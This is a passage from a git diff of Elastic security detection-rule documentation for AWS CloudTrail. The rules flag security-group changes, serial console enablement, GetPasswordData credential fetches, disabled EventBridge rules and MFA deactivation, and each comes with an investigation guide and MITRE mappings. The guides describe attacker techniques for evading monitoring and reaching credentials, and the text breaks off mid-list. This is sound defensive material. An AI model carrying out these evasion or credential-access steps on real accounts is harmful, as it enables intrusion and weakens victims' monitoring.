https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-security-groups.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Resources: Investigation Guide +* Tactic: Persistence +* Tactic: Defense Evasion + +*Version*: 213 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Security Group Configuration Change* + + +This rule identifies any changes to an AWS Security Group, which functions as a virtual firewall controlling inbound and outbound traffic for resources like EC2 instances. Modifications to a security group configuration could expose critical assets to unauthorized access. Threat actors may exploit such changes to establish persistence, exfiltrate data, or pivot within an AWS environment. + + +*Possible Investigation Steps* + + +**Identify the Modified Security Group**: + - **Security Group ID**: Check the `aws.cloudtrail.request_parameters` field to identify the specific security group affected. + - **Rule Changes**: Review `aws.cloudtrail.response_elements` to determine the new rules or configurations, including any added or removed IP ranges, protocol changes, and port specifications. + +**Review User Context**: + - **User Identity**: Inspect the `aws.cloudtrail.user_identity.arn` field to determine which user or role made the modification. Verify if this is an authorized administrator or a potentially compromised account. + - **Access Patterns**: Analyze whether this user regularly interacts with security group configurations or if this event is out of the ordinary for their account. + +**Analyze the Configuration Change**: + - **Egress vs. Ingress**: Determine if the change affected inbound (ingress) or outbound (egress) traffic by reviewing fields like `isEgress` in the `securityGroupRuleSet`. Unauthorized changes to outbound traffic can indicate data exfiltration attempts. + - **IP Ranges and Ports**: Assess any added IP ranges, especially `0.0.0.0/0`, which exposes resources to the internet. Port changes should also be evaluated to ensure only necessary ports are open. + +**Check User Agent and Source IP**: + - **User Agent Analysis**: Examine the `user_agent.original` field to identify the tool or application used, such as `AWS Console` or `Terraform`, which may reveal if the action was automated or manual. + - **Source IP and Geolocation**: Use `source.address` and `source.geo` fields to verify if the IP address and geolocation match expected locations for your organization. Unexpected IPs or regions may indicate unauthorized access. + +**Evaluate for Persistence Indicators**: + - **Repeated Changes**: Investigate if similar changes were recently made across multiple security groups, which may suggest an attempt to maintain or expand access. + - **Permissions Review**: Confirm that the user’s IAM policies are configured to limit changes to security groups only as necessary. + +**Correlate with Other CloudTrail Events**: + - **Cross-Reference Other Security Events**: Look for related actions like `AuthorizeSecurityGroupIngress`, `CreateSecurityGroup`, or `RevokeSecurityGroupIngress` that may indicate additional or preparatory steps for unauthorized access. + - **Monitor for IAM or Network Changes**: Check for IAM modifications, network interface changes, or other configuration updates in the same timeframe to detect broader malicious activities. + + +*False Positive Analysis* + + +- **Routine Security Changes**: Security group modifications may be part of regular infrastructure maintenance. Verify if this action aligns with known, scheduled administrative activities. +- **Automated Configuration Management**: If you are using automated tools like `Terraform` or `CloudFormation`, confirm if the change matches expected configuration drift corrections or deployments. + + +*Response and Remediation* + + +- **Revert Unauthorized Changes**: If unauthorized, revert the security group configuration to its previous state to secure the environment. +- **Restrict Security Group Permissions**: Remove permissions to modify security groups from any compromised or unnecessary accounts to limit future access. +- **Quarantine Affected Resources**: If necessary, isolate any affected instances or resources to prevent further unauthorized activity. +- **Audit IAM and Security Group Policies**: Regularly review permissions related to security groups to ensure least privilege access and prevent excessive access. + + +*Additional Information* + + +For more details on managing AWS Security Groups and best practices, refer to the https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-security-groups.html[AWS EC2 Security Groups Documentation] and AWS security best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" and event.outcome: "success" + and (event.action:( + "AuthorizeSecurityGroupIngress" or + "AuthorizeSecurityGroupEgress" or + "CreateSecurityGroup" or + "ModifySecurityGroupRules" or + "RevokeSecurityGroupEgress" or + "RevokeSecurityGroupIngress") or + (event.action: "ModifyInstanceAttribute" and aws.cloudtrail.flattened.request_parameters.groupSet.items.groupId:*)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-serial-console-access-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-serial-console-access-enabled.asciidoc new file mode 100644 index 0000000000..5f3863b891 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-serial-console-access-enabled.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-aws-ec2-serial-console-access-enabled]] +=== AWS EC2 Serial Console Access Enabled + +Detects when EC2 Serial Console Access is enabled for an AWS account. The EC2 Serial Console provides direct, text-based access to an instance's serial port, bypassing the network layer entirely. While useful for troubleshooting boot issues or network misconfigurations, enabling serial console access in production environments is rare and potentially dangerous. Adversaries may enable this feature to establish an out-of-band communication channel that evades network-based security monitoring, firewalls, and VPC controls. This access method can be used for persistent backdoor access or to interact with compromised instances without triggering network-based detection mechanisms. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_EnableSerialConsoleAccess.html +* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-serial-console.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Serial Console Access Enabled* + + +The EC2 Serial Console provides a direct connection to an instance's serial port, allowing access even when network connectivity is unavailable. This feature operates completely outside the network layer, meaning traffic does not traverse VPCs, security groups, NACLs, or any network-based monitoring tools. Enabling serial console access at the account level is a prerequisite for using this feature on individual instances. + +This rule detects successful `EnableSerialConsoleAccess` API calls, which may indicate an adversary attempting to establish an out-of-band access channel. In most production environments, serial console access should remain disabled unless actively troubleshooting specific issues. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine who enabled serial console access. + - Verify whether this principal has a legitimate need for troubleshooting access. + +- **Review request context** + - Check `source.ip`, `source.geo`, and `user_agent.original` for anomalous access patterns. + - Determine whether this action occurred during normal business hours or maintenance windows. + +- **Check for follow-on activity** + - Search for `SendSerialConsoleSSHPublicKey` API calls, which indicate actual usage of the serial console. + - Review whether any EC2 instances show serial console sessions after this enablement. + +- **Correlate with other suspicious activity** + - Look for preceding credential theft indicators (e.g., `GetSecretValue`, `CreateAccessKey`). + - Check for other defense evasion actions such as GuardDuty modifications, CloudTrail changes, or security group modifications. + +- **Verify business justification** + - Confirm with the identified user or team whether there was a legitimate troubleshooting need. + - Check for related incident tickets or change requests. + + +*False positive analysis* + + +- **Legitimate troubleshooting** + - Serial console may be enabled temporarily to troubleshoot instances with SSH access issues or boot failures. + - Verify this corresponds to known incidents and ensure it was disabled afterward. + +- **Automated infrastructure provisioning** + - Some IaC tools may enable serial console access during instance setup. Validate against CI/CD logs. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, immediately disable serial console access using `DisableSerialConsoleAccess`. + - Review any instances that may have been accessed via serial console. + +- **Investigation** + - Audit CloudTrail for all serial console-related API calls (`EnableSerialConsoleAccess`, `DisableSerialConsoleAccess`, `SendSerialConsoleSSHPublicKey`, `GetSerialConsoleAccessStatus`). + - Check for any data exfiltration or lateral movement that occurred during the enabled period. + +- **Hardening** + - Restrict `ec2:EnableSerialConsoleAccess` permissions to a limited set of administrative roles. + - Implement AWS Config rules or Security Hub controls to alert on serial console access state changes. + - Consider using SCPs to prevent serial console enablement in production accounts. + + +*Additional information* + +- **https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-serial-console.html[AWS Documentation: EC2 Serial Console]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action: "EnableSerialConsoleAccess" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc new file mode 100644 index 0000000000..16f6400a53 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role]] +=== AWS EC2 Unauthorized Admin Credential Fetch via Assumed Role + +Identifies the first occurrence of an unauthorized attempt by an AWS role to use `GetPassword` to access the administrator password of an EC2 instance. Adversaries may use this API call to escalate privileges or move laterally within EC2 instances. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Credential Access + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Unauthorized Admin Credential Fetch via Assumed Role* + + +This rule detects the first occurrence of a role using the `GetPasswordData` API call, which retrieves the administrator password, against an unauthorized EC2 instance in AWS. This can be an indicator of an adversary attempting to escalate privileges or move laterally within EC2 instances. + +This is a New Terms rule, which means it will only trigger once for each unique value of the `aws.cloudtrail.user_identity.session_context.session_issuer.arn` field that has not been seen making this API request within the last 7 days. This field contains the Amazon Resource Name (ARN) of the assumed role that triggered the API call. + + +*Possible Investigation Steps* + + +- **Identify the User Identity and Role**: Examine the AWS CloudTrail logs to determine the user identity that made the `GetPasswordData` request. Pay special attention to the role and permissions associated with the user. +- **Review Request Parameters**: Analyze the `aws.cloudtrail.request_parameters` and `aws.cloudtrail.error_message` fields to understand the context of the API call. +- **Contextualize with User Behavior**: Compare this activity against the role's typical behavior patterns. Look for unusual login times, IP addresses, or other anomalous actions taken by the role prior to and following the incident. +- **Review EC2 Instance Details**: Check the details of the EC2 instance from which the password retrieval was attempted. Assess the criticality and sensitivity of the applications running on this instance. +- **Examine Related CloudTrail Events**: Search for other API calls made by the same role, especially those modifying security groups, network access controls, or instance metadata. +- **Investigate the Origin of the API Call**: Analyze the IP address and geographical location from which the request originated. Determine if it aligns with expected locations for legitimate administrative activity. + + +*False Positive Analysis* + + +- **Legitimate Administrative Actions**: Ensure that the activity was not part of legitimate administrative tasks such as system maintenance or updates. +- **Automation Scripts**: Verify if the activity was generated by automation or deployment scripts that are authorized to use `GetPasswordData` for legitimate purposes. + + +*Response and Remediation* + + +- **User Account Review**: Review the permissions of the implicated user identity. Apply the principle of least privilege by adjusting permissions to prevent misuse. +- **Enhanced Monitoring**: Increase monitoring on the user identity that triggered the rule and similar EC2 instances. +- **Incident Response**: If malicious intent is confirmed, initiate the incident response protocol. This includes further investigation, containment of the threat, eradication of any threat actor presence, and recovery of affected systems. +- **Preventative Measures**: Implement or enhance security measures such as multi-factor authentication and continuous audits of sensitive operations like `GetPasswordData`. + + +*Additional Information* + + +Refer to resources like https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc[AWS privilege escalation methods] and the MITRE ATT&CK technique https://attack.mitre.org/techniques/T1552/005/[T1552.005 - Cloud Instance Metadata API] for more details on potential vulnerabilities and mitigation strategies. + + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"aws.cloudtrail" + and event.provider:"ec2.amazonaws.com" and event.action:"GetPasswordData" + and aws.cloudtrail.user_identity.type:"AssumedRole" and aws.cloudtrail.error_code:"Client.UnauthorizedOperation" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-eventbridge-rule-disabled-or-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-eventbridge-rule-disabled-or-deleted.asciidoc new file mode 100644 index 0000000000..95c953de6b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-eventbridge-rule-disabled-or-deleted.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-20-aws-eventbridge-rule-disabled-or-deleted]] +=== AWS EventBridge Rule Disabled or Deleted + +Identifies when an Amazon EventBridge rule is disabled or deleted. EventBridge rules are commonly used to automate operational workflows and security-relevant routing (for example, forwarding events to Lambda, SNS/SQS, or security tooling). Disabling or deleting a rule can break critical integrations, suppress detections, and reduce visibility. Adversaries may intentionally impair EventBridge rules to disrupt monitoring, delay response, or hide follow-on actions. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_DeleteRule.html +* https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_DisableRule.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EventBridge +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Austin Songer +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EventBridge Rule Disabled or Deleted* + + +EventBridge rules define when events are matched and where they are delivered. Disabling or deleting a rule can interrupt +automation, break alerting pipelines, and create blind spots in detection coverage. In security-focused designs, EventBridge +is frequently used to forward CloudTrail findings, Config/Security Hub events, GuardDuty findings, or application security +signals to downstream responders. + +This rule detects successful `DisableRule` or `DeleteRule` actions. Depending on what the affected rule does, this activity +may indicate routine operational work or deliberate impairment of monitoring and response paths. + + +*Possible investigation steps* + + +**Identify the actor and access path** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which principal performed the change. +- Review `user.name`, `user_agent.original`, and `source.ip` to understand how the action was performed (console vs CLI/SDK/automation) and from where. + +**Confirm what changed and what it impacts** +- Use `aws.cloudtrail.request_parameters` to identify the rule name/ARN and whether the action was `DisableRule` or `DeleteRule`. +- Determine what the rule was used for and assess blast radius: + - Was the rule on a shared event bus or a critical account/region? + - Was it a centralized “security routing” rule that aggregates events from many accounts? + +**Reconstruct timing and sequence** +- Correlate `@timestamp` with surrounding CloudTrail activity for the same actor and the same rule name/ARN. +- Look for companion actions that often occur with impairment attempts: + - IAM changes that expand permissions (`PutRolePolicy`, `AttachRolePolicy`, `UpdateAssumeRolePolicy`, access key creation). + - Changes that disable other telemetry or controls (CloudTrail changes, Config recorder stopped, GuardDuty/Security Hub changes). + - Follow-on actions against sensitive services immediately after the rule was disabled/deleted. + +**Validate authorization and change management** +- Check whether the change aligns with a known deployment, infrastructure-as-code run, or approved change ticket. Confirm with the owning team whether the rule was intentionally disabled/deleted and whether there is a documented replacement. + + +*False positive analysis* + + +- **Planned maintenance and refactoring** + - Rules may be removed during redesign of event patterns, target migrations, or application decommissioning. +- **Infrastructure-as-code or automation** + - CI/CD pipelines and IaC (Terraform/CloudFormation/CDK) can disable/delete rules during drift correction or environment rotation. + + +*Response and remediation* + + +**Restore visibility and business function** +- If the rule is security- or business-critical, restore functionality immediately: + - Re-enable the rule if it was disabled. + - If deleted, recreate it from the last known-good baseline (IaC state, templates, or documented configuration). +- Validate delivery by confirming new matching events reach intended targets (for example, downstream Lambda/SNS/SQS) and that monitoring pipelines resume. + +**Contain potential compromise** +- If the actor is unexpected or the access path is suspicious: + - Restrict the principal’s permissions to EventBridge and related services while you investigate (least-privilege containment). + - Rotate/disable credentials associated with `aws.cloudtrail.user_identity.access_key_id` when applicable. + - For assumed roles, investigate the originating principal and consider temporarily limiting role assumption via IAM conditions or trust policy changes. + +**Scope the incident** +- Pivot in CloudTrail using the same `aws.cloudtrail.user_identity.arn`, access key, and `source.ip` to identify additional EventBridge rule modifications, changes to event buses, permissions, or resource policies that could enable unauthorized routing. +- Determine whether the rule impairment created a monitoring gap and identify the time window of reduced visibility for retrospective review. + +**Hardening and prevention** +- Reduce the likelihood of silent impairment: + - Restrict `events:DisableRule` and `events:DeleteRule` to a small set of administrative roles; use IAM conditions (for example, `aws:PrincipalArn`, `aws:RequestedRegion`, source VPC/IP conditions where appropriate). + - Consider AWS Organizations SCP guardrails in production accounts to limit destructive EventBridge changes. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: aws.cloudtrail + and event.provider: events.amazonaws.com + and event.action: (DeleteRule or DisableRule) + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc new file mode 100644 index 0000000000..39efded662 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-aws-iam-compromisedkeyquarantine-policy-attached-to-user]] +=== AWS IAM CompromisedKeyQuarantine Policy Attached to User + +This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the `CompromisedKeyQuarantine` or `CompromisedKeyQuarantineV2` AWS managed policies to an existing IAM user. This policy denies access to certain actions and is applied by the AWS team in the event that an IAM user's credentials have been compromised or exposed publicly. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantine.html/ +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantineV2.html/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Credential Access + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM CompromisedKeyQuarantine Policy Attached to User* + + +The AWS IAM `CompromisedKeyQuarantine` and `CompromisedKeyQuarantineV2` managed policies deny certain action and is applied by the AWS team to a user with exposed credentials. +This action is accompanied by a support case which specifies instructions to follow before detaching the policy. + + +*Possible Investigation Steps* + + +- **Identify Potentially Compromised Identity**: Review the `userName` parameter of the `aws.cloudtrail.request_parameters` to determine the quarantined IAM entity. +- **Contextualize with AWS Support Case**: Review any information from AWS comtaining additional information about the quarantined account and the reasoning for quarantine. +- **Follow Support Case Instructions**: Do not revert the quarantine policy attachment or delete the compromised keys. Instead folow the instructions given in your support case. +- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in potentially suspicious activities. +- **Interview Relevant Personnel**: If the compromised key belongs to a user, verify the intent and authorization for these correlated actions with the person or team responsible for managing the compromised key. + + +*False Positive Analysis* + + +- There shouldn't be many false positives related to this action as it is inititated by AWS in response to compromised or publicly exposed credentials. + + +*Response and Remediation* + + +- **Immediate Review and Reversal**: Update the user IAM permissions to remove the quarantine policy and disable the compromised credentials. +- **Policy Update**: Review and possibly update your organization’s policies on credential storage to tighten control and prevent public exposure. +- **Incident Response**: If malicious intent is confirmed, consider it a data breach incident and initiate the incident response protocol. This includes further investigation, containment, and recovery. + + +*Additional Information:* + + +For further guidance on managing and securing credentials in AWS environments, refer to the https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html[AWS IAM User Guide] regarding security best practices and guidance on https://docs.aws.amazon.com/guardduty/latest/ug/compromised-creds.html[Remediating Potentially Compromised AWS Credentials]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where event.dataset == "aws.cloudtrail" + and event.action == "AttachUserPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "AWSCompromisedKeyQuarantine") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-deactivation-of-mfa-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-deactivation-of-mfa-device.asciidoc new file mode 100644 index 0000000000..c7242df914 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-iam-deactivation-of-mfa-device.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-20-aws-iam-deactivation-of-mfa-device]] +=== AWS IAM Deactivation of MFA Device + +Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/deactivate-mfa-device.html +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Resources: Investigation Guide +* Tactic: Impact +* Tactic: Persistence + +*Version*: 215 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Deactivation of MFA Device* + + +This rule detects successful deactivation of a Virtual MFA device in AWS IAM. +Deactivation removes MFA enforcement from an IAM user, significantly lowering account resilience against credential theft or unauthorized access. +Since MFA devices must be deactivated before deletion, this represents the earliest and most critical opportunity to detect potential account compromise or persistence activity. + +For more information about using MFA in AWS, access the https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[official documentation]. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deactivation. + - Check whether the actor typically manages MFA or has the IAM permissions to perform such actions. + - Review `user_agent.original` to confirm if the operation was performed via the AWS Console, CLI, or SDK. + +- **Review the source and location** + - Investigate `source.ip` and `source.geo` fields for unusual origins or unrecognized locations. + - Determine if this request originated from known automation infrastructure, internal IP ranges, or a personal endpoint. + +- **Correlate with other related activity** + - Look for preceding API calls such as `ListMFADevices`, `GetSessionToken`, or `ListUsers`, which may indicate reconnaissance or IAM enumeration. + - Search for subsequent `DeleteVirtualMFADevice` calls to confirm whether the deactivated device was later deleted — a common follow-up action. + - Check for any privilege changes, credential creations (`CreateAccessKey`, `AttachUserPolicy`), or unexpected login attempts following the deactivation. + +- **Validate authorization** + - Confirm with IAM or security administrators whether the action was part of an authorized device rotation or remediation. + - If not documented or approved, escalate as a potential credential compromise or persistence attempt. + + +*False positive analysis* + + +- **Legitimate device rotation** + - When replacing an MFA device, AWS requires deactivation of the existing device before the new one can be enabled. +- **Administrative maintenance** + - IAM administrators or automation pipelines may deactivate MFA as part of account management or recovery workflows. + + +*Response and remediation* + + +- **Containment** + - Re-enable MFA for the affected IAM user (`EnableMFADevice`) or temporarily disable their login access until legitimacy is confirmed. + - Revoke temporary credentials or tokens associated with the actor to prevent further misuse. + +- **Investigation and scoping** + - Review CloudTrail history for additional IAM configuration changes or access key creation events tied to the same principal. + - Determine whether sensitive resources were accessed after MFA removal. + - Identify whether multiple users had MFA devices deactivated in a short timeframe — an indicator of broader compromise. + +- **Recovery and hardening** + - Require MFA for all privileged IAM users and enforce it using service control policies (SCPs). + - 